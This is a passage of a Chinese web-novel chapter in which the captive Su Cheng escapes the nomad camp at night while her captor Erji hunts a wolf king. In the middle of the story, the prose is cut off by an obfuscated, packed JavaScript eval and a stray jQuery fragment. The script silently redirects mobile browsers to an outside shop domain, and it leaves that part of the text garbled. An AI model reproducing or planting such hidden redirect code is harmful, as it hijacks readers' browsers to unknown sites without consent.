很快,他就要接受狄戎王的惩戒,为他远去轩辕却抓错了人而付出应有的代价。
他还要去科尔济林,为苏橙猎一头体型雄健的狼王。
他认定的妻子,绝对值得这世界上最好的一切。
两人准备回王帐那边时,已经是夤夜时分了,苏橙早已睡得迷迷糊糊。
额尔吉干脆直接带着她回自己部落驻扎的地方。
那个地方叫柔纳,有狄戎最美的夜晚和最清澈的湖泊。
他所在的部落叫赞那伽,里面多是一些失了父母的族人。
他们是不同于王帐的存在,为了舔舐血淋淋的伤口而聚在一起,没有一脉相传,只有手足之情。
一路上,额尔吉都有意骑的很慢,他怕马背上的会颠簸吵醒身前睡着的可人儿。
等他们抵达时,东方已经露出鱼肚白,新的一天在此时才正式开始。
额尔吉安排了六个兄弟替他照顾苏橙。
可临走时,还是有诸多不放心,再三确定十分妥帖后才骑马离去。
苏橙这一觉睡得极不安稳,她听到耳边有听不懂的私语声,也知道额尔吉在她身前站了好久,可一切都是断断续续的,没有办法拼凑起来。
睡得不好,醒来的时候也受到了不小的惊吓,她几乎是瞬间从床上惊坐起来。
她的额角被冷汗濡湿,心里慌的厉害,可四周都静悄悄的,偶尔能听到几声说话的声音。
她又回到了初次来到的地方。
只属于额尔吉的地界。
短短几天,发生了好些事,像是过了几年那样漫长。
她下床去桌子上找水喝,却在拎起茶壶时发现里面空空如也。
一滴水都没有。
只能颓败的放下,在桌面发出一声响。
这动静不算小也不算大,引起了外面人的注意。
立时两个长臂猿腰,打扮狂野熟悉的汉子从外面走了进来。
瞧见苏橙醒了,手下还压着茶壶,叽里咕噜的朝她说了几句。
苏橙尴尬笑笑:“我听不懂。”
对方无奈叹气,只能取走茶壶,为她添了些热水进来。
看着他们忙碌,苏橙这才想起来,这几个都是当初随着额尔吉把她掳来狄戎的人。
呵呵,原来他们是好兄弟啊。
言语不通,无法交流,一整个上午苏橙都无聊透顶。
把额尔吉给她买的裙子首饰拿出来把玩,甚至还把头发散开,将那顶金灿灿华丽丽的凤冠放在头顶上比了比。
而后发出一声感叹:“金子做的东西就是好看。”
哪里俗气了。
苏橙左瞧右看,明明值钱的很呢。
想到钱,她的手不免软了下来。
虽说额尔吉将自己强掳过来十分不对,但他也确实没对自己做什么过分的事。
敲他这么大一笔,于心不安啊。
尤其这顶凤冠,那是被赋予了特殊含义的。
还是不要带走了吧。
苏橙把凤冠往里推了推,一双闪着贼光的眼睛落在那对金镯子上。
她左一个右一个,把两个手腕都带上,手上顿时有了令人心安的重量。
她总算明白女子为什么都喜欢戴首饰了,多好看啊,一低头,就能瞧见无数的金银财宝在眼前晃。
这种满足的感觉只有懂的人才懂。
不懂的,才是俗人。
最终,她只选择了一对金手镯。
戴在手上不如耳铛项圈那么起眼,份量又足,换钱的时候很方便。
那些守着她的汉子,并没有限制她的活动范围,一日三餐也按时送来。
可一直到天都黑透了,额尔吉离开的那条小路上也没有出现他的身影。
不是说,一天就回来了吗?
苏橙心里闷闷的,有点担心但不多。
王帐那里都是她的亲人,他在哪里要比自己更轻松些吧。
苏橙抱着毯子躺下,心想兴许半夜醒来,额尔吉就回来了。
可她没心没肺的一觉睡到天亮,也没等到额尔吉的半个影子。
负责保护她的汉子们明显有些着急了,他们派了一个人去主部落那边问问情况。
带回来的却是他们也不知道,只知道额尔吉朝东边去了。
东边,再往东边,是茂密幽深的科尔济林。
里面,有凶狠的狼群。
为苏橙射杀狼王这件事,额尔吉谁也没有说过。
就连苏橙都不知道。
她有预感,短时间内额尔吉都回不来。
若是细细谋划一番,说不定她能顺利逃走。
与额尔吉相处的这几日,她掩饰的很好,从未表露过一点想要离开的意思。
她强迫自己表现的很适应,好让他放下对自己的防备心。
额尔吉对她看的很紧,几乎是自己去哪就把苏橙带到哪。
这次他肯把苏橙留下,很大原因是真的对她放下了心。
第二日中午刚吃过饭,苏橙借口弄脏了裙子要换衣服,换过衣服又说今天天气好,想要四处逛逛。
她提出,要一匹骏马。
那些健壮的汉子并没有一口答应,她又说自己不过是四处走走,他们可以跟在后面。
额尔吉不在,她都快无聊死了。
苏橙跟他们掰扯了好半天,唾液都快说干了。
最后,他们要求至少安排两个人跟着她,以确保她的安危。
苏橙尝试跑马射箭,无一不失败。
箭搭在弦上,弓被拉成半弯状,苏橙的神情很认真,步子也扎的很结实。
然后,手松,箭出,“吧嗒”一声落在脚边。
跟着她的两个汉子都没忍住笑出了声。
笑毛啊!
苏橙气的两腮鼓鼓的。
等额尔吉回来,定要让他们头上顶着东西,狠狠一箭射过去,吓死他们才好。
她丢掉弓箭,无趣的踩着草地,“哎呦”一声惊叫,那两个人凑过来查看。
最后发现只不过是一只乱蹦的蚂蚱。
被捉弄了,他们也不笑了,板着脸请她回去。
又过了一夜,额尔吉还是没能回来。
但是王帐那边传来消息,要他今日去领受惩罚。
整整一百鞭,把长满尖刺的藤蔓浸泡盐水,晾干后抽打在身上。
藤蔓结实耐打,尖刺戳破皮肉,盐水蛰蚀伤口。
重重折磨加下来,再健壮的人也要大病一场。
他们用这种方式留下锥心刺骨的痛楚,好让额尔吉记清楚自己犯下的过错。
这些苏橙并不知道,她只知道王帐的人在找他,他今天也不能回来了。
如同昨天一样,她又把那些人溜了一整天,不是大惊小怪,就是小题大做。
现在,苏橙在他们心中已经成了最最娇气刁蛮的大小姐。
谁都不乐意伺候。
直觉告诉苏橙,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019875|140655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今天晚上是最好的离开时间。
这个季节的白天短,还没到吃晚饭的时间,天际就爬上一层薄薄夜色,等待吞噬整个天幕。
苏橙吃过晚饭,就说自己特别的累,表示要好好休息。
她像前两日那样把手合在耳边,偏头靠上去,意思她要休息了。
那些人看懂后,只留了一个人守着,其他人都回去休息了。
时机已到,苏橙吹灭帐中烛火,里面顿时灰暗寂静。
她在床边合衣坐了会儿,等到部落里的人都歇息了,她才循着记忆摸到帐篷后面,用匕首划开个出口。
缩着身子,听着动静一点一点的挪出去。
她的骑术依旧不是很好,可经过这段时间与马儿相处,那匹黑骏马已经能够熟悉她了。
悄悄摸到马厩,解了黑骏马的缰绳把它带出来。
那马儿看见是她,兴奋的张开嘴,就要发出声音。
苏橙连忙压住它的嘴巴,又从腰间的小包里取出一块胡饼塞到马儿的嘴里。
这才止住了动静。
一人一马静悄悄的离开了赞那伽,等走出一段距离,她才翻身上马,靠着来时的记忆去想走出去的路。
好在她的记性不错,很快就找准了道路。
夜间路难走不是说说而已。
苏橙骑着马走了半个时辰,没一会儿就陷入了一片树林中。
马蹄踩在残枝败叶上,发出擦擦声响。
在这寂静的林中更让人惊心动魄。
苏橙从来没有这么害怕过黑夜。
别慌别慌,她在心里安慰自己。
世上本没鬼,说出来就不怕了。
她在心里默念此句。
念着念着,就成了——
世上本没鬼,说的人多了,也就有了鬼。
苏橙:……
自己吓自己,魂没了不说,手臂上的汗毛都竖了起来,鸡皮疙瘩也起了满满一层。
今日是个月圆之夜,天穹之上的满月如玉盘般高挂着,发出的光辉透过层层枝叶洒在地面上。
突然,周围传来细碎的、紧密的、野兽般的脚步声。
“嗷呜——”
是狼的叫声!
苏橙猛然向右看,整个人高度警惕,声音是从那个方向发出来了。
这声音悠长又平顺,像是在召集什么。
听声辩位,直觉告诉她不要往前去。
可她又有些不甘心,都已经走到这里了。
脑海里有两个小人在拼命打架。
月光之下,一个身量极高的男子抹了把脸上的血迹,喘了口气,缓缓蹲下身子。
额尔吉浑身是伤,将手臂长的银刃从那带着温度的皮毛中抽了出来。
上面还沾着粘腻的热血。
一匹牙齿锋利的壮年成狼,软趴趴的倒在他的脚边。
在他四周,七零八落的躺着好几头受了重伤的狼,其中还有一匹被撕咬掉好几处皮肉的马。
那是额尔吉的坐骑,俨然没气息了。
额尔吉今日大获全胜,收获颇丰。
他已精疲力尽,拖着疲惫不堪的身体和那只皮毛最好的头狼往回走。
他走的极为缓慢,天色由乌黑变的浅紫,最后一点点归于蓝白色。
太阳还没有显现,天却完全亮了。
额尔吉在体力完全耗尽前,看到主部落里晃动的人影。
可他支撑不住,双腿一软倒在了地上。